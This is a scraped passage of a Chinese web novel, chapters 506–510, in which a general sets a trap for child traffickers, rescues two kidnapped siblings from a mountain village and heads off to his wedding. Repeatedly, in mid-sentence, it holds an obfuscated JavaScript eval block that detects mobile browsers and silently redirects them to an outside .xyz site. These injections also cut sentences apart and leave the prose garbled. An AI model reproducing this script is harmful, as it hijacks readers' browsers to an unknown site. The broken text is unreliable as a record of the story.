她欢喜的声音,在看到醒来的陆星辰时戛然而止,眼里飞快地闪过一抹嫉妒与嫌恶。 陆星辰的眼睛又大又亮,便似天上的星子一般。 这样看着,更加好看了,落在荷花的眼里却更加刺眼。 陆星辰察觉到了荷花对她的恶意,神色不禁瑟缩了一下。 陆砚修在她耳边低声道:“别怕,只是过家家罢了,哥哥保护你。” 陆星辰紧紧抱着陆砚修,方才的害怕瞬间一扫而空。 兄妹二人被进了一处小山村。 他们是坐着牛车进的村,牛车满是脏污,路面也十分颠簸,走了足足两个时辰,陆星辰被颠得七荤八素,吐了好几次,小脸都白了。 荷花一脸嫌弃,“真是娇小姐。” 待到了自家,她可就没有这样好的命了。 陆星辰心里火烧火燎的难受,她有些不想玩过家家了。 但那几人的眼神凶悍,陆星辰害怕,半个字都不敢说,只能窝在陆砚修的怀里。 陆砚修一边护着陆星辰,一边暗暗观察周围,记着路线。 但这里不是山就是山,满眼都是陆砚修不认识的树木,他根本分辨不清来路。 若当真被带进了深山里,他们要想再逃出来,就难了。 陆砚修的心狠狠沉了下去。 荷花家在深山里,对于他们突然带回来两个孩子,村人也见怪不怪,反而像是打量货物一样看着兄妹二人。 他们的方言晦涩难懂,陆砚修想努力地分辨,但却一个字都没听懂。 他只能再次使用美男计,想方设法地从荷花的口中探听消息。 从荷花口中他得知,这个村名为荔湾村,这看似朴实无华的村民,实际上人人都是恶魔。 他们每年都会在山外头去谋生路,而他们谋生路的法子便是与老杨头一家一般,拐卖孩童。 还有人把良家女子拐进了山,给自家儿子当媳妇。 不知道是谁带的头,一户人家尝到了甜头,其他人家便纷纷效仿。 久而久之,这便成了他们心照不宣的生财之道。 这座深山,便是他们最大的保护,朝廷和官府都管不到他们这儿来。 所以他们看到陆砚修兄妹俩,才会露出打量货物的眼神。 陆砚修的心越来越沉。 他再次意识到,要离开这里,很难。 但他不会放弃,他必须要想尽办法寻找机会。 那日进村的时候他就注意到,有人正用不怀好意的眼神盯着陆星辰。 他不能让老杨头把妹妹卖出去。 他只能再次把希望寄托在荷花的身上。 荷花年纪小,心性单纯,又喜欢自己,自己伏低做小就能获取她的好感。 打定了主意,陆砚修就变得格外温柔,不仅给荷花讲故事,还会主动帮荷花干活,陆星辰反倒被晾在了一边。 荷花每天被陆砚修哄得开开心心,连带着对陆星辰也多了几分好脸色。 陆星辰渐渐明白了些什么,她从一开始的惊恐害怕,哭闹想家,后来在陆砚修的安抚下慢慢平静地接受了。 有陆砚修在,她就能安心。 山中的日子很寡淡,混沌间,令人混淆了时间的流逝。 她不知道过了多久,只觉得过了好多好多天,她每天都盼望自己一睁眼就回到了熟悉的家里,但每天睁眼都是失望。 她每天都悄悄问陆砚修,“哥哥,我们什么时候能回家?” 陆砚修每次都温柔而坚定地回答她,“很快了,哥哥很快就会带你回家。” 这段时间,他已经从荷花的口中探听到,出村还有另外一条路…… 二月二十,春暖花开。 元宵节拐卖案失踪的孩童,基本上都找了回来,但陆砚修和陆星辰依旧没有下落。 从几个孩子口中,他们得知了兄妹二人的确曾与他们同船,但陆星辰病重,没能卖掉,人贩子便又将兄妹二人带走了。 好消息是,他们已经拿到了人贩子老杨头的画像,也知道他们来自岭南,只要协同当地官府全力缉查,定能把人找到。 怕只怕,陆星辰病得太重,没能熬过来。 陆知苒已经临近产期,肚子大得像球,双腿也浮肿得厉害。 她一直牵挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122506|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着这件事,但该派的人已经全都派了出去,她现在唯一能做的,就是静候佳音。 另一头,叶寒衣和戈叙白的亲事提上了日程,婚期便定在三月初一。 因戈叙白的情况特殊,谷栖山也在南诏府,双方商定,拜堂等流程在滇南府办,待完礼之后,二人再启程前往西平,再在西平办一场,宴请众将。 此时戈叙白便正带着亲信往滇南府赶去,还带上了十几个红木箱子,都是聘礼。 但因元宵节儿童拐卖案,各地都在设卡盘查,查得十分严格,他一路走来,脚程被大大拖慢了。 戈叙白想到上回入京述职的经历,心道这回他不会也要迟到吧? 这个念头刚起,他就赶紧用力呸了几下。 可别被他乌鸦嘴说中了。 二月二十三,他们行经岭南,又被拦了下来,且盘查比之前更加严格了。 戈叙白亮出了自己的身份,想尽快盘查通行,但对方不敢放行。 “戈将军,请您多海涵,太子殿下下了严令,任何人都要盘查。前头还有不少商船排着队等着,生意人做生意讲究时效,耽搁一天就是损失一天的银子,不少人已经闹起来了,我们必须得照章办事,实在没法子给您通融。” 若那些商人当真闹起来了,捅出大篓子,那就是费了力还不讨好。 戈叙白的脸面,还不足以让他们冒这个险。 戈叙白抹了一把脸,“那要盘查到我这儿,还要多久?” 那人估算了一番,“最快也得三五天。” 三五天的变数太大,后头万一再遇上盘查,他根本赶不上婚期。 若他当真在婚礼上缺席了,他这到手的媳妇岂不是要飞了? 不成。 必须想法子。 下属提议,“要不将军您带着亲卫先往滇南府去,兄弟们随后再带着聘礼赶来。” 官府主要搜查的是那成箱的东西,不会戈叙白离开。 这不失为一个方法,但不到万不得已,戈叙白还是不想如此,没有聘礼去迎亲,外人会如何看待叶寒衣? 哪怕事出有因,也不合适。 “再想想其他办法。” 第506章 引蛇出洞 下属有些没辙,“能有什么办法?” 这些官差不卖自家将军的面子,他们便是心中不忿也无可奈何,更不能抬出滇南王和太子的身份来压人。 戈叙白薅了一把有些乱糟糟的头发,最后一锤定音。 “想个法子,把这些个人贩子钓出来。” 戈叙白递了拜帖,拜见了岭南知府郑开阳。 郑开阳正为此案焦头烂额,本没空应付他,但碍于对方身份,也不得不出面应付。 本以为戈叙白是为了请他通融让行,但没想到,戈叙白却是来与他商讨拐卖儿童一案。 “徐大人,恕在下直言,你如此大张旗鼓地搜查,宛若大海捞针,非但耗时耗力,还很可能打草惊蛇。对方很有可能躲进深山老林里去。重则,对方为了撇清干系,直接**灭口,来个死无对证。到时候,就算徐大人当真抓到了人贩子,在太子殿下那里,只怕也捞不到好处。” 戈叙白的这番话让郑开阳心头一惊。 他不由得正视起戈叙白来,语气也多了几分郑重。 “戈将军,你是否有什么良策?在下愚钝,还请戈将军赐教一二。” 戈叙白本也没打算卖关子,见对方语气客气,像是能听得进劝的样子,便缓缓将自己的计划道来。 郑开阳听罢,立马露出感激之色。 “戈将军此法甚妙,先前是本官糊涂了,本官这就去办!” 翌日,城墙上的悬赏告示被揭了下来,**的官差也撤了,众商船也不需要再盘查,可自行离去。 官府重新贴出告示,声称走失的孩子已经找到了,人贩子也已抓获。 众人闻言,顿时拍手叫好,城内气氛重新恢复如常。 这自然都是假象,只是为了引鱼儿上钩而使的障眼法。 城中各处街道、山路隘口、渡口等地方,都安插便衣衙役,或伪装成樵夫,或扮作商贩,暗中蹲守。 戈叙白的手下都是生面孔,混在其中,根本不引人注意。 如此蹲守了三日,依旧一无所获。 副将有些着急,“将军,咱们该出发了,不然真耽搁了时间就糟了。” 戈叙白沉吟,“聘礼已经先送往滇南了,我快马加鞭,时间还来得及。再多等一日。” 做那拐卖孩子的勾当,是损了大阴德的,在戈叙白的眼里,与**放火的恶徒没有什么两样。 今日他既然遇上了,便想管一管。 若能亲手抓了那歹人,那自然再好不过。 若没抓到他为此尽了绵薄之力,也算对得起自己。 副将闻言,便也不再劝。 郑开阳也很着急。 他撤了搜查令,也是担了责任的,若最后一无所获,上头怪罪下来,他如何担得起? 三天过去,他慢慢冷静下来,不禁开始后悔自己过于草率,随随便便就听信了戈叙白的话,做了这番安排。 到时候他可以随时抽身,自己就要成了被问罪的那一个。 就在他心中对戈叙白暗自埋怨的时候,事情终于有了进展。 城墙告示处,一个卖糖人儿的商贩目光时不时落在一个庄稼汉的身上,再三确认之后,他朝自己的同伴递了个眼神。 鱼儿来了。 卖糖人儿的商贩主动上前,热络地招揽生意。 “客官,买个糖人儿不?给家里孩子带一个,五文钱一个。” 杨大柱的眼神一直在墙上的告示上打转,根本没有心思买糖人儿。 那商贩也顺势道:“客官,你也关心这个?唉,前几日官府贴了画像缉拿人贩子,我还想着自己说不定能碰到那人贩子呢,那我就发财了,没想到被人捷足先登了。” 杨大柱闻言,这才开口,声音有点紧绷。 “你是说,那人贩子已经抓到了?” “对啊,这上面不是写了吗?人贩子抓到了,孩子也找着了,不然官府怎么会撤了搜查?” 杨大柱似松了口气,脸上露出一抹憨厚的笑。 “我不识字。那人贩子是怎么被抓的?你们可有瞧见?” 商贩摆手,“这哪儿是我这平头百姓能瞧见的?客官,来个糖人儿吧。” 杨大柱心弦放松下去,笑道:“给我来一个。” “好咧。” 商贩一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122507|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他取糖人儿,一边不动声色地盯着杨大柱的动作。 他从怀里掏出一个荷包,打开的时候,商贩余光一晃便瞟见了一抹银光,那荷包的分量也沉甸甸的,里面分明装了银锭子。 一个庄稼汉,怎么会有这么多银子? 自己果然没有看走眼,这人有问题。 杨大柱掏出五个铜板,商贩欢欢喜喜地接了过去。 杨大柱要走,他又突然“咦”了一声,眼神上上下下地在杨大柱的脸上打转。 “客官,我怎么瞧着,你好像有点眼熟,好像在哪里见到过似的。” 杨大柱的脸色一僵,“我从来没有见过你。” 商贩却还在嘀咕,“真的很眼熟。哦,我想起来了,你长得跟前几日画像上的人很像。” 杨大柱立马似被踩了痛脚似的跳了起来,“你,你胡说些什么?我怎么可能是那人贩子?你到底会不会说话?” 那商贩也赶忙自打嘴巴,“瞧我这张嘴,真是不会说话,客官见谅,见谅。” 杨大柱骂骂咧咧地走了,脚步略显仓皇。 那商贩继续吆喝着卖糖人儿,藏在暗处的其他兄弟已经默契地悄悄跟了上去。 方才接连的试探已经说明了一切,此人有问题。 戈叙白也收到了消息,所有人第一时间都行动了起来。 荔湾村。 老杨头在磕烟枪,儿媳妇廖氏有些焦急地在门口张望。 他们都在等杨大柱的消息。 前些时日,村人进城,看到了贴在城门的告示,那上面赫然张贴着老杨头的画像。 村人把消息带回来,杨家人立马就慌了。 他们做这行当已经十几年了,从来没有留下过把柄,怎么这次竟然被官府盯上了? 荔湾村的人都不干净,大家生怕被老杨头牵连,被一窝端了,这些时日便屡屡有人登门,让老杨头把陆砚修和陆星辰两兄妹给处理了,老杨头也到山上去避一避风头。 老杨头立马就动了杀心。 官府一旦搜到这里,他们就完了。 是荷花哭得一把鼻涕一把泪,硬是拦下了此事。 第507章 鱼儿落网 老杨头只有杨大柱一根独苗,杨大柱前几年不小心伤了子孙根,这辈子就只有荷花一个女儿,所以荷花是杨家的命根子,老杨头对她十分纵容,把她养出了骄纵的脾气。 若他强行把人处理了,这小妮子不知道能做出什么事来。 陆砚修这时提议,“不若让杨爷爷带着我和妹妹一起避到山上,待这波风头过去了,我们再回来不迟。” 他十分嘴甜,对老杨头一口一个杨爷爷,平日里也帮着杨家里里外外地干活,俨然一副童养夫的自觉。 老杨头对他慢慢放松了警惕,对这个孙女婿也越发满意。 他生得俊,日后自己的重孙说不定也能遗传他的好相貌。 陆砚修的这个提议让他生了动摇,若实在没法子,也只能这样了。 陆砚修开始暗自盘算,他和妹妹在山上除掉老杨头,再逃走的机率。 这很冒险,一旦失败,他这段时间以来积攒的所有信任和好感将全部化为乌有,他们兄妹会被严密看管起来,妹妹也可能立马被卖掉。 所以他暂时打消了这个计划。 但他依旧很想上山。 多上几趟山,他也能更好地摸清楚这片山的路线,为日后他带妹妹逃跑做足准备。 但没想到,他们还没来得及上山,城里的风向就变了。 官府撤走了搜查,说是人贩子已经抓到了,孩子也找了回来。 杨家人欣喜的同时,又有些不敢相信。 一番商议,这才让杨大柱进城看看。 陆砚修心中升起了另一个猜测,但他不敢抱太大希望。 靠人永远都不如靠己。 他还是得想法子靠自己离开这里。 太阳西斜,天色一点点黯淡,杨大柱终于回来了。 他手里的糖人儿都化了,脸上也满是涔涔的汗。 廖氏连忙扑上去问,“怎么样?城里是什么情况?” 杨大柱抬手抹了一把脸,这才道:“**已经撤掉了,告示上说,人贩子已经抓到,孩子也找了回来,咱们没事了。” 至于后头那商贩说的话,杨大柱没有提。 这一路走来,他已经从一开始的紧张慢慢调整过来了。 官府都已经张贴告示了,那商贩的一句话也说明不了什么。 众人听了他这话,瞬间放下心来。 荷花一把抢过他手里的糖人儿,开始美滋滋地吃了起来。 “我就说不会有事的嘛,你们真是大惊小怪的。” 还险些把她的砚修哥哥杀了,若当真杀了,他们上哪儿找个人来赔给她? 杨大柱和廖氏放松下来,老杨头一直抽着自己的旱烟,那双浑浊的眼里依旧有疑虑未消。 陆星辰原本满含期待的眼神一点点黯淡了下去。 陆砚修微垂眼睑,掩去了心中所有的情绪。 当晚,几声犬吠打破了山村的平静。 犬吠惊醒了村人,但还来不及起身查看,犬吠便安静了下去,整个村子重新陷入沉睡。 老杨头却是一下从床上坐了起来,他侧着耳朵听着外头的动静,只听到风吹树叶的沙沙声。 难道是他想多了? 但不知为何,此刻的他心中升起一股前所未有的不安与危机。 他再也睡不着了,立马起身,把儿子儿媳叫醒。 “去把那两个小崽子弄起来,现在就上山!” 杨大柱和廖氏还睡眼朦胧着,全然没反应过来。 “爹,你在说什么啊,这是梦游了吗?” 老杨头扬手,在杨大柱的脑袋上敲了一记,“别废话,快起来,晚了就来不及了。” 杨大柱清醒了几分,但依旧觉得老杨头小题大做。 “爹,您怕什么?我都亲眼去看过了,外头官府的通缉令都撕了,**也撤了,没人查得到我们这儿来。” 老杨头不容置疑,“若当真没事,就再回来便是,先上山躲过这个风头。你也和我们一起去,你与我长得像,若当真有官兵查到这儿,难保不会怀疑。留荷花和你媳妇儿在家,若官兵来了,就说我们上山打猎去了。” 杨大柱睡意惺忪,心里很不情愿,但碍于父亲的**,不得不听从。 陆砚修早就醒了。 他小心地把陆星辰唤醒,又叮嘱她不要哭闹,跟着自己,陆星辰虽不明所以,但还是老老实实地点头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131010|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>夜里的村子很黑,伸手不见五指,唯一的亮光便是天上惨淡的月光。 杨大柱要点火把,老杨头不让,他们走的也不是大路,而是后方的小路。 村子里再次响起了此起彼伏的犬吠声。 陆星辰被陆砚修抱着,脑袋埋在他的怀里,不敢抬头看一眼。 终于出了村,到了山脚下,老杨头这才点起了火把。 山路难行,他们即便是本村人,但没有火把也没法认路。 杨大柱打了个大大的哈欠,嘴里还在抱怨,“爹,山上又湿又冷,还有蚊子和蛇,怎么住人啊?都说了没事了,你真是大惊小怪的。” 老杨头怒骂,“小心驶得万年船,若不是靠着这份小心,你老爹我几年前就已经出事了。你小子别废话。” 杨大柱不敢再提意见。 他解着裤腰带,“我去撒个尿。” 老杨头没理会他,继续朝前走。 陆砚修和陆星辰兄妹二人走在前面,既是开路,也是为了盯着他们,以防他们跑了。 但他料想他们不敢跑,这荒郊野岭,又黑灯瞎火,他们敢跑,那就是自寻死路。 三人走了一小段,依旧不见杨大柱跟上来。 老杨头顿时有些恼,“真是懒人屎尿多,大柱,你好了没?快跟上。” 身后没有人回应,只传来了几声乌鸦的叫声。 老杨头蹙眉,禁不住回头,只看到身后一片漆黑,树影微动。 老杨头心头莫名一突,又接连喊了两声,依旧无人应答,他的汗**当即竖了起来。 他立马拔出了刀,一把架在了陆砚修的脖子上,高声怒喝。 “你,走前面。” 陆砚修被刀抵着脖子,往来时的方向走,寻找杨大柱的身影。 绕过前往拐角,终于看到了熟悉的人影。 老杨头看到杨大柱背对着自己站在那里,顿时就一阵来气。 “你聋了不成?喊你都不知道答应一声,快走,别磨叽!” 老杨头伸手去拉他,这一拉,那道人影便软绵绵地倒了下去,戈叙白的脸露了出来,朝老杨头露出了一抹阴冷的笑。 “拿下!” 第508章 脱离虎穴 “啊!” 老杨头发出了一声惊恐的尖叫。 他几乎本能转身就跑,陆砚修挡了他的去路,他便伸手去推,而他手里握着一把刀,陆砚修怀里抱着陆星辰,老杨头这番动作,刀锋便朝着陆星辰的后背来了。 陆砚修连忙后退,避开他的这一刀,但脚下不小心绊到了树藤,朝后摔去。 偏偏旁边又是一处陡坡,他和陆星辰便朝陡坡滚了下去。 戈叙白想伸手去捞,但还是晚了一步,众人急忙去救人,而老杨头则趁着这混乱,转头就跑。 陆砚修死死抱着陆星辰,将她的头脸和身子都牢牢地抱在怀里,他自己则被陡坡上的乱石和枝丫刮破,一阵生疼。 他试图稳住身形,但这坡太陡了,他没有着力点,根本控制不住下滑的惯性。 这时,一根树藤甩到了他手边,他本能地抓住,手上顿时传来一阵火辣辣的痛感,好在他们也终于停了下来,没有再继续滚落。 上头,戈叙白勉强踩在一处凸起的石头上借力,手上力道半点不敢松,牢牢地拽着那根树藤。 漆黑的天色大大影响了他们的视线,戈叙白也看不清这陡坡的情形,更不知下方的情况。 他不能冒险,必须立马把两个孩子拉上去。 但他借力的这块石头也有些松动了,若他站立不稳,他们三人都要往下掉。 戈叙白把力道汇聚到脚下,硬生生在地上钻出一个深坑来。 陆星辰受了惊吓,哭声更大。 戈叙白只得放柔了声音,“别怕,我们是朝廷派来救你们的。把树藤拉住,不要松手,我们马上想办法把你们救上去。” 这话像是给他们注入了一剂强心剂,陆砚修原本发麻的手臂瞬间充满了力量,陆星辰也慢慢止住了哭声。 戈叙白朝上面大吼,“赶紧想法子救人!” 老子要坚持不住了! 陆砚修和陆星辰被一点点地往上拉,约莫两刻钟后,他们才终于被拉上了陡坡。 获救的一瞬,陆砚修觉得自己的手臂已经麻木了。 他的手已经脱力,一阵火辣辣的疼,约莫是拉伤了经络。 陆砚修顾不上疼,他也没有真正放松。 他不认识眼前的人,并不能分辨他们究竟是敌是友。 万一刚离了虎穴,又进了狼窝,他们就真的插翅难逃了。 陆砚修将陆星辰牢牢地护在怀里,浑身绷得很紧。 戈叙白也没顾上他,因为方才逃跑的老杨头被逮回来了。 他借着夜色的遮掩,想跑进深山里躲起来。 但他老胳膊老腿,便是再熟悉地形,也跑不过这些身强体壮的兵卒。 老杨头被押回来时,腿肚子都在发抖。 到了戈叙白的面前,他扑通一下就跪了下去,痛哭流涕。 “官爷饶命,官爷饶命啊,草民只是个老实本分的庄稼汉,绝没有做半点违法乱纪之事啊。” 戈叙白都气乐了,“你老实本分,那这俩孩子是怎么回事?大半夜的你不睡觉,往山上跑什么?事到临头了还敢狡辩,我看你是不到黄河心不死。” 老杨头还欲狡辩,戈叙白听得心烦,直接让人把他绑了,嘴巴堵上。 这山上蚊子忒多了,先下山再说。 杨大柱没有死,只是被打晕了,他被士兵一脚踹醒,然后绑了手,迷迷瞪瞪地下了山。 此时的荔湾村,已经彻底被惊醒了,官兵将整个村子都控制住了。 廖氏看到被五花大绑的杨大柱和老杨头,以及好端端没有死的陆砚修兄妹,顿时觉得眼前一黑,身子一软就瘫了下去。 以前被拐到荔湾村里来的妇人见到官差,直接扑上前痛哭出声,请求官爷替她们做主,送她们回家。 戈叙白没想到,这荔湾村竟然还藏着这样一个大官司,这里的村民披着朴实的外表,实际上做的却是如此龌龊的勾当,他的心头升起了熊熊的怒火。 他看着那些妇人,沉声道:“我已经派人去通知知府大人,他获悉你们的冤情,定会替你们做主。” 这里是郑开阳的辖下,他救人心切才会插手此事,眼下,人找到了,他也就放心了,至于后续之事,他无意越俎代庖,也不想抢功。 任何功劳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131011|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都没有他的婚期要紧。 他得赶紧出发,不能再耽搁了。 天色蒙蒙亮时,郑开阳匆匆地赶来,热出了一身汗,但他却顾不上擦。 戈叙白将案情言简意赅地陈述了一番,包括荔湾村其他被拐女子的冤情,郑开阳顿时又惊又怒。 自己的辖下竟藏着这样一个窝点,此事上报朝廷,自己岂不是要受罚? 而且这件事,还是戈叙白揪出来的。 郑开阳顿时冷汗涔涔。 戈叙白似窥破了他的想法,给他吃了一颗定心丸。 “郑大人指挥若定,才破获了此案,本官与众手下只是搭了把手罢了,郑大人将此案上报朝廷,定能得到朝廷的进封嘉奖,本官在这里便提前恭贺郑大人了。” 郑开阳立马明白了戈叙白的意思,不禁又惊又喜。 戈叙白又道:“本官只是途经此地,眼下便要马上启程前往滇南完婚,余下之事,便交由郑大人善后,受累了。” 郑开阳忙道:“这本就是本官的分内之事,不敢言受累。还没来得及向戈将军道喜呢,本官略备了薄礼,这便让人给戈将军送去,祝将军新婚大吉,百年好合,早生贵子!” 这话戈叙白爱听,立马便笑了起来。 “祝福我收下了,礼就不必了。郑大人,后会有期。” 戈叙白说着就要翻身上马,却被一道声音拦住。 “戈将军请留步。” 戈叙白回头,就看到了陆砚修兄妹。 陆砚修脸上被划破了好几处,其中右边额头上一个很大的豁口,只简单处理了。 陆星辰被他保护得很好,看上去没有受什么外伤,只是受了不小的惊吓,此时寸步不离地挨着陆砚修,偷偷抬眼看向戈叙白,眼神也是怯怯的。 面对两个孩子,戈叙白尽量让自己面部表情柔和下来。 陆砚修朝戈叙白恭恭敬敬地行了一礼,陆星辰也有样学样,跟着行礼。 “多谢将军出手相救。” 戈叙白立马伸手把人扶了起来。 “不必言谢。身为朝廷将士,护佑百姓本就是分内之事。” 第509章 讨一杯喜酒喝 戈叙白看着陆砚修,目光中带着欣赏。 “你小小年纪,能一路护着妹妹,这份心性和责任,令人佩服。你有此番心性,日后便是做任何事,都定能有所成。” 戈叙白已经将他们在荔湾村发生的事都打听了一番,他一路都护着妹妹,这才让妹妹免于被卖的结果。 便是昨夜的危急关头,他也不顾安危地全力相护,戈叙白很欣赏这孩子。 陆砚修的眼底闪过一抹腼腆。 “赶紧回家去吧,家人都在担心你们。” 陆砚修看着戈叙白,欲言又止。 “戈将军,我有一个不情之请。” “你说。” 陆砚修抿了抿唇,“我们能跟你一起走吗?” 戈叙白一愣,显然没想到他会提出如此请求。 “我此行并非回京,而是要去滇南府,你们与我不同路。” 陆砚修忙道:“我知道,我已经听说了,将军即将大婚。我和妹妹也想去向将军讨一杯喜酒喝。” 他小小年纪,偏这话说得一脸诚恳,让戈叙白一时都有些不知该怎么回答。 旁人要讨他的喜酒喝,他自然是乐意之至。 但这两个小屁孩…… “陆家到处都在找你们,你们最好赶紧回家,不然家里人会担心。” 郑开阳也忙道:“这位小公子,本官会派人护送你们回京,最多半个月你们就能抵达京城。” 陆砚修抿了抿唇,一时没接话,只神色间对郑开阳充满了警惕。 戈叙白后知后觉地反应过来,这孩子是一朝被蛇咬十年怕井绳,唯恐自己再遭不测,轻易不敢轻信旁人。 所以,他宁愿跟着戈叙白绕路,也不愿由郑开阳安排护送进京。 戈叙白很荣幸,自己成了他信任之人。 副将小声提醒,“将军,距离婚期只剩三日了。” 三日时间,他们快马加鞭地当然能赶上,但带上两个孩子,就不一定了。 陆砚修立马道:“我们能赶路,中途不用休息都行的。” 陆星辰也懵懂地跟着点头。 哥哥说的都对。 郑开阳依旧不肯放人,这两人是自己功劳的证明,若是让他们跟着戈叙白走了,那到手的功劳岂不是要飞了? 他努力挤出笑脸,用最温和的语气游说,试图说服陆砚修。 但陆砚修对他态度冷淡,一副并不买账的架势,郑开阳脸上的笑便有些挂不住了。 但他到底是官场混迹的老油条,见势如此,不得不顺水推舟转了态度。 “戈将军新婚在即,本官亦不想麻烦你,但你也瞧见了,两位小友这是不信任本官,本官也不能强求,便只能劳烦戈将军护送一二了。” 戈叙白方才虽然表明不欲揽功,自己也不可能真的把他的名字抹掉,把功劳独吞。 罢了罢了,与其继续强求,闹着大家都不愉快,不如就顺了他们的意,把两人交给戈叙白,也省得自己护送途中再生波折。 他把荔湾村的人料理了,也能上一个将功折罪的折子。 陆砚修和陆星辰两人四只眼睛直直盯着戈叙白,眼底含着期盼。 戈叙白揉了揉眉心,最终只能无奈答应了。 若他当真误了婚期,也是这两个拖油瓶的锅。 陆砚修见他答应,这才彻底松了口气。 他听过戈叙白这个名字,他是西平的将领,是守卫边疆的大英雄。 他方才也向人打听了,戈叙白要娶的人,是滇南王的孙女,也就是太子的表妹。 而他名义上的嫡姐,是太子妃。 有了这几层关系在,戈叙白一下就成了自己人,至少比那郑开阳更加可靠。 他还打听到,这次也是戈叙白向郑开阳提议,撤销**,放出人贩子已经被抓获的风声,这才让杨家人放松警惕,随之上钩。 戈叙白是他们真正的救命恩人,跟在他身边,他们不用担心遇到危险。 哪怕晚一点回到京城,也更加令人安心。 陆砚修正要离开,身后就传来了一阵撕心裂肺的哭喊。 “砚修哥哥,你不要走,你不是说最喜欢我的吗?你不能不要我啊!” 荷花挣扎着要往这边跑来,脸上满是泪痕。 陆砚修转头看向她,眼神中再没了往日的温柔,只有无尽的冷漠。 他说出口的话更是比刀子还冷。 “你小小年纪就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134874|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助他们作恶,手上不知沾染了多少罪恶,我厌你还来不及,怎会喜欢你?醒醒吧。” 荷花闻言,瞬间崩溃大哭,但很快被官差呵斥,廖氏赶忙把人拽了回来,一把捂住了嘴。 杨大柱则是有些愣愣地看着兵士中的某个人。 那人分明是卖糖人儿的商贩,而今他却摇身一变,成了个威风凛凛的军爷。 杨大柱的榆木脑袋终于回过味来,原来一切都是一场局,他们精心设好了局,等着鱼儿上钩。 是自己把他们引到了这里,是自己害了所有人! 杨大柱想明白了,顿时崩溃大哭起来。 陆砚修没有理会身后的声音。 他正对着眼前的高头大马发愁。 他没有学过骑马。 陆家只给他请了开蒙的夫子,并没有请人教他骑马。 正犯愁,他就觉得自己身子腾空飞了起来。 戈叙白伸手,架着他的咯吱窝,将他从地上拔了起来,直接稳稳放在了马背上。 紧接着,便是如法炮制,陆星辰也被抱到了马上。 戈叙白翻身上马,“到了城里,再给你们寻一辆马车。坐稳了。” 为了将就两个孩子,戈叙白的速度不快,就像过家家似的。 郑开阳还是会来事,事先命人给他们备了一辆宽敞又舒服的马车,陆星辰一上了马车就倒头睡了过去。 陆砚修也很困,但他的精神依旧紧绷着。 他一直竖起耳朵听着外头的说话声,又时不时掀开帘子往外看,看到戈叙白那熟悉的身影,他才能放松下来。 戈叙白发现了他的小动作,便刻意放慢了速度,骑在马车的车窗边。 在陆砚修不知道第几次掀开帘子往外看的时候,他与戈叙白的目光对上了。 戈叙白有些好笑地看着他,“既然决定上了我的马车,那就要全身心地信任我,你现在再来提防也晚了。小子,好好睡一觉,别把自己熬垮了。” 陆砚修被戳破了心事,一张脸涨得通红。 但方才那股担忧也被安抚了,取而代之的是安心。 彻底放松下来,困意席卷而来,陆砚修终于阖上了眼睛,沉沉睡了过去。 第510章 提灯童子 滇南府。 滇南王要嫁孙女,这个消息早就传遍了,整个滇南府上下都喜气洋洋的。 戈叙白的手下将聘礼送到了,但他人却没来。 手下将岭南所遇的情况道来,叶寒衣心中的那点子不满也消失了。 他便是这样的人,若非如此,当初入京述职时也不会宁愿延误时间,也要先把灾民救了。 叶衔峰这个老丈人还没见过女婿,只知道自己父亲去了一趟京城就对他大为改观,俨然是对这个孙女婿十分满意。 叶衔峰的反骨被激了起来,生出一种,我倒是要看看这小子究竟有多好的心思。 但左等右等都没等到人,叶衔峰心中顿时生出不满来。 